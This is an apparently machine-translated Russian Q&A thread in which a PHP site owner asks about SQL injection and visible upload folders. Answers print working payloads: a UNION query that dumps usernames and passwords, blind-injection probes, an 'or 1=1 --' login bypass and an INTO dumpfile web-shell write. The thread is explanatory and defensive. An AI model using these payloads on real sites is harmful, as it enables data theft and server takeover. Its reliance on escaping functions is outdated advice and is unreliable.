Безопасность сайта, SQL инъекция и права доступа к файлам - PullRequest
0 голосов
/ 10 октября 2011

Я создаю очень маленький веб-сайт (с PHP), и у меня есть 2 большие проблемы. Первая связана с формой поиска. Я создал очень простую форму поиска для извлечения своего контента, затем я использовал онлайн-инструмент безопасности.и показать мне, что моя поисковая форма была уязвима для SQLi. Я понятия не имел, что я начал тестировать некоторые атаки, обнаруженные на некоторых сайтах. Пока работает только 'OR 'x'='x (это возвращает весь контент моего веб-сайта, это плохо?? Как злоумышленник может навредить мне? Второй вопрос касается моих фотографий. Я использую папку mywebsite.com/uploads/ для доступа к моим фотографиям. Хотя / upload защищен, подпапки uploads / temp и uploads / thumbs видны черезбраузер Может быть, это тоже вредно? Любой совет?

Ответы [ 4 ]

2 голосов
/ 14 октября 2011

SQL-инъекция действительно плохая, но мне нравится :) 1001 *

Есть много типов SQL инъекций, таких как

удаленный sql injecton
слепая инъекция sql
автоматический обход впрыска sql

 **Remote sql injection**

это простой способ получить данные от хакера сайта, используя его как кодировщики см. этот пример

mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;

В моем коде нет защиты

site.php? ID = 1

мой запрос будет выполняться как

mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;

если хакер убьет твой код

site.php? Id = 1 (любая вещь может создать проблему, например: `'a-z A-Z / * /")

Потому что запрос будет таким

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;

, поэтому одиночная квота приведет к ошибке в вашем запросе

и хакер может атаковать вот так

site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users

здесь ваш запрос будет выполняться как

mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");

и это будет работать :) 1037 *

слепая инъекция sql

хакер не может работать с простым способом удаленного внедрения SQL

потому что здесь это зависит от правильного и ложного

поэтому он будет использовать and or

вот так

 and (select user_name from users) ;

если работает нормально, скрипт будет работать хорошо, иначе произойдет ошибка

он может знать информацию базы данных вот так

пример таблицы администратора: admin

 and (select user_name from users) ;      x error

 and (select user_name from admin) ;      fine

автоматический байпас

это blicd sql инъекция, но только истинное условие может получить доступ к администратору

mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");

хакер может войти как этот

пользователь = что-нибудь 'или 1 = 1 -

поэтому ваш запрос будет выглядеть как

mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");

что-либо является ошибкой пользователя в базе данных

но условие или 1 = 1 выполняется

- проигнорирует проверку пароля

он может легко получить доступ

защита

addslashes _ mysql_real_escape_string _ intval ( with number only )

указание папки, которую вы можете использовать

пустой index.html, index.php,

1 голос
/ 10 октября 2011

Если вы разрешите SQL-инъекцию, злоумышленник может совершать на вашем сайте все виды плохих действий.Они могут внедрить код в DROP DATABASE, удалив всю вашу базу данных!

Если вы входите в MySQL как пользователь root, они могут записывать файлы (и создавать) файлы на вашем сервере.

Инъекция;

SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');

Будет обычным первым шагом к проникновению на ваш сервер, позволяя злоумышленнику выполнять произвольные команды от имени пользователя www-data.Отсюда тривиально завербовать свой сервер в ботнет, использовать его для рассылки спама (чтобы вы попали в черный список при отправке электронных писем) или просто удалить все свои файлы, просто чтобы испортить свой день.

Что вы должен сделать, чтобы дезинфицировать все пользовательский ввод.Таким образом, в вашем поисковом процессоре вы должны экранировать любые специальные символы из поискового запроса перед передачей его в базу данных, вы можете сделать это с помощью mysql_real_escape_string ();

so;

$search_query = mysql_real_escape_string($_POST['search']);

Тогда можно безопасно использовать $ search_query в вашем запросе mysql.

0 голосов
/ 10 октября 2011

Ad SQL Injection:

  • Отображение всего контента может быть проблемой, если у вас есть неопубликованные статьи или статьи, доступные только для зарегистрированных пользователей и т. Д.
  • Попробуйте прочитать больше о SQL-инъекциях,Может быть возможно выполнить второй запрос, который вставит новые данные в вашу базу данных или, что хуже, изменяет данные (например, пароли).Там есть много материалов для чтения, начало может быть: http://php.net/manual/en/security.database.sql-injection.php Очистите все ваши данные и помните: даже если вы не можете найти способ причинить вред через дыру в безопасности, это не значит, что никто не будетнайди способ;)

Объявление о папках: ты имеешь в виду, что любой пользователь может видеть содержимое папок?Если так, пользователи могут видеть изображения, которые они не должны видеть.Если у вас была веская причина для защиты (без списка файлов?) Основного каталога, почему бы не применить его к подкаталогам temps / и thumbs /?

0 голосов
/ 10 октября 2011

SQL-инъекции - это плохо. кто-то может выполнить любой запрос в вашей базе данных, найти пароли, удалить все данные и т. д. вы можете избежать этого, обернув все пользовательские данные в ваших запросах mysql_real_escape_string

о каталогах - это действительно зависит от доступа, который вы предоставляете. если список файлов доступен, это не значит, что кто-то может вносить изменения / выполнять их

...